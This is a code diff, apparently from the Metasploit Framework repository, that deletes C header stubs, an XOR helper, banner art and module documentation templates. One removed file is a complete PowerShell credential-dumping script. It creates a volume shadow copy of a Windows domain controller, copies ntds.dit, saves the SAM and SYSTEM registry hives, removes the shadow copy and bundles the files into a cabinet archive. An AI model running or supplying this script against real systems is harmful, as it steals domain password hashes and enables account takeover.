typedef HANDLE HICON;
|
||||
typedef HANDLE HKEY;
|
||||
typedef HANDLE HGLOBAL;
|
||||
typedef HKEY* PHKEY;
|
||||
typedef HANDLE HKL;
|
||||
typedef unsigned char UCHAR;
|
||||
typedef char TCHAR;
|
||||
typedef char CCHAR;
|
||||
typedef int INT;
|
||||
typedef unsigned int UINT;
|
||||
typedef unsigned int UINT_PTR;
|
||||
typedef unsigned long ULONG;
|
||||
typedef unsigned long ULONG_PTR;
|
||||
typedef long* LPLONG;
|
||||
typedef long LONG_PTR;
|
||||
typedef unsigned short USHORT;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned int size_t;
|
||||
typedef size_t* PSIZE_T;
|
||||
typedef DWORD* LPDWORD;
|
||||
typedef DWORD* PDWORD;
|
||||
typedef HANDLE* LPHANDLE;
|
||||
typedef HANDLE* PHANDLE;
|
||||
typedef unsigned short u_short;
|
||||
typedef BYTE* LPBYTE;
|
||||
typedef BYTE* PBYTE;
|
||||
typedef void* PVOID;
|
||||
typedef void* LPVOID;
|
||||
typedef void* LPCVOID;
|
||||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
typedef LONG_PTR LPARAM;
|
||||
typedef long NTSTATUS;
|
||||
typedef ULONG* PULONG;
|
||||
typedef ULONG REGSAM;
|
||||
typedef LRESULT (CALLBACK* HOOKPROC)(int, WPARAM, LPARAM);
|
||||
typedef __stdcall int (*FARPROC)();
|
||||
typedef struct _iobuf FILE;
|
||||
typedef long fpos_t;
|
||||
typedef int* LPINT;
|
||||
|
||||
typedef struct {
|
||||
unsigned int gp_offset;
|
||||
unsigned int fp_offset;
|
||||
void *overflow_arg_area;
|
||||
void *reg_save_area;
|
||||
} va_list[1];
|
||||
@@ -1,40 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
FILE* popen(const char*, const char*);
|
||||
int pclose(FILE*);
|
||||
int fscanf(FILE*, const char*, ...);
|
||||
int scanf(const char*, ...);
|
||||
int sscanf(const char*, const char*, ...);
|
||||
int vfscanf(FILE*, const char*, va_list);
|
||||
int vsscanf(const char*, const char*, va_list);
|
||||
int fclose(FILE*);
|
||||
void clearerr(FILE*);
|
||||
int feof(FILE*);
|
||||
int ferror(FILE*);
|
||||
int fflush(FILE*);
|
||||
int fgetpos(FILE*, fpos_t*);
|
||||
FILE *fopen(const char*, const char*);
|
||||
size_t fread(void*, size_t, size_t, FILE*);
|
||||
FILE *freopen(const char*, const char*, FILE*);
|
||||
int fseek(FILE*, long int, int);
|
||||
int fsetpos(FILE*, const fpos_t*);
|
||||
long int ftell(FILE*);
|
||||
size_t fwrite(const void*, size_t, size_t, FILE*);
|
||||
int remove(const char*);
|
||||
int rename(const char*, const char*);
|
||||
void rewind(FILE*);
|
||||
void setbuf(FILE*, char*);
|
||||
int setvbuf(FILE*, char*, int, size_t);
|
||||
FILE *tmpfile(void);
|
||||
char *tmpnam(char*);
|
||||
int fprintf(FILE*, const char*, ...);
|
||||
int printf(const char*, ...);
|
||||
int sprintf(char*, const char*, ...);
|
||||
int vfprintf(FILE*, const char*, va_list);
|
||||
int vsprintf(char*, const char*, va_list);
|
||||
int vsnprintf(char*, size_t, const char*, va_list);
|
||||
int vasprintf(char**, const char*, va_list);
|
||||
int vdprintf(int, const char*, va_list);
|
||||
@@ -1,48 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
typedef struct _div_t {
|
||||
int quot;
|
||||
int rem;
|
||||
} div_t;
|
||||
|
||||
typedef struct _ldiv_t {
|
||||
long quot;
|
||||
long rem;
|
||||
} ldiv_t;
|
||||
|
||||
typedef struct _lldiv_t {
|
||||
long long quot;
|
||||
long long rem;
|
||||
} lldiv_t;
|
||||
|
||||
int rand(void);
|
||||
void srand(unsigned);
|
||||
void* malloc(size_t);
|
||||
void* realloc(void*, size_t);
|
||||
void free(void*);
|
||||
double atof(const char*);
|
||||
double strtod(const char*, char**);
|
||||
float strtof(const char*, char**);
|
||||
long int strtol(const char*, char**, int);
|
||||
long double strtold(const char*, char**);
|
||||
int atoi(const char*);
|
||||
void abort(void);
|
||||
void exit(int);
|
||||
int atexit(void (*function)(void));
|
||||
char* getenv(const char*);
|
||||
int setenv(const char*, const char*, int);
|
||||
int putenv(char*);
|
||||
int unsetenv(const char*);
|
||||
void *bsearch(const void*, const void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
void qsort(void*, size_t, size_t, int (*compar)(const void*, const void*));
|
||||
int abs(int);
|
||||
int mblen(const char*, size_t);
|
||||
int system(const char*);
|
||||
long int labs(long int);
|
||||
div_t div(int, int);
|
||||
ldiv_t ldiv(long int, long int);
|
||||
void* malloc (size_t size);
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
%clr%red .;lxO0KXXXK0Oxl:.
|
||||
,o0WMMMMMMMMMMMMMMMMMMKd,
|
||||
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
|
||||
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
|
||||
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
|
||||
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
|
||||
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
|
||||
oMMMMMMMMMMx. dMMMMMMMMMMx
|
||||
.WMMMMMMMMM: :MMMMMMMMMM,
|
||||
xMMMMMMMMMo lMMMMMMMMMO
|
||||
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
|
||||
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
|
||||
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
|
||||
xMMMMMMMMMd ,0MMMMMMMMMMK;
|
||||
.WMMMMMMMMMc 'OMMMMMM0,
|
||||
lMMMMMMMMMMk. .kMMO'
|
||||
dMMMMMMMMMMWd' ..
|
||||
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
|
||||
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
|
||||
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
|
||||
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
|
||||
%red 'oOWMMMMMMMMo%clr +:+
|
||||
%red .,cdkO0K;%clr :+: :+:
|
||||
:::::::+:
|
||||
%whiMetasploit%clr
|
||||
@@ -1,7 +1,7 @@
|
||||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
@@ -25,6 +25,6 @@
|
||||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
https://metasploit.com%clr
|
||||
|
||||
@@ -14,21 +14,9 @@
|
||||
<%= normalize_platforms(items[:mod_platforms]) %>
|
||||
<% end %>
|
||||
|
||||
## Module Ranking
|
||||
|
||||
<%= normalize_rank(items[:mod_rank]) %>
|
||||
|
||||
## Side Effects
|
||||
|
||||
<%= normalize_side_effects(items[:mod_side_effects]) %>
|
||||
|
||||
## Reliability
|
||||
|
||||
<%= normalize_reliability(items[:mod_reliability]) %>
|
||||
|
||||
## Stability
|
||||
|
||||
<%= normalize_stability(items[:mod_stability]) %>
|
||||
<%= normalize_rank(items[:mod_rank]) %>
|
||||
|
||||
## Related Pull Requests
|
||||
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
```
|
||||
msf > use <%= mod.fullname %>
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
... show and set options ...
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
||||
@@ -1,139 +0,0 @@
|
||||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
||||
Regular → Executable
Regular → Executable
Regular → Executable
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user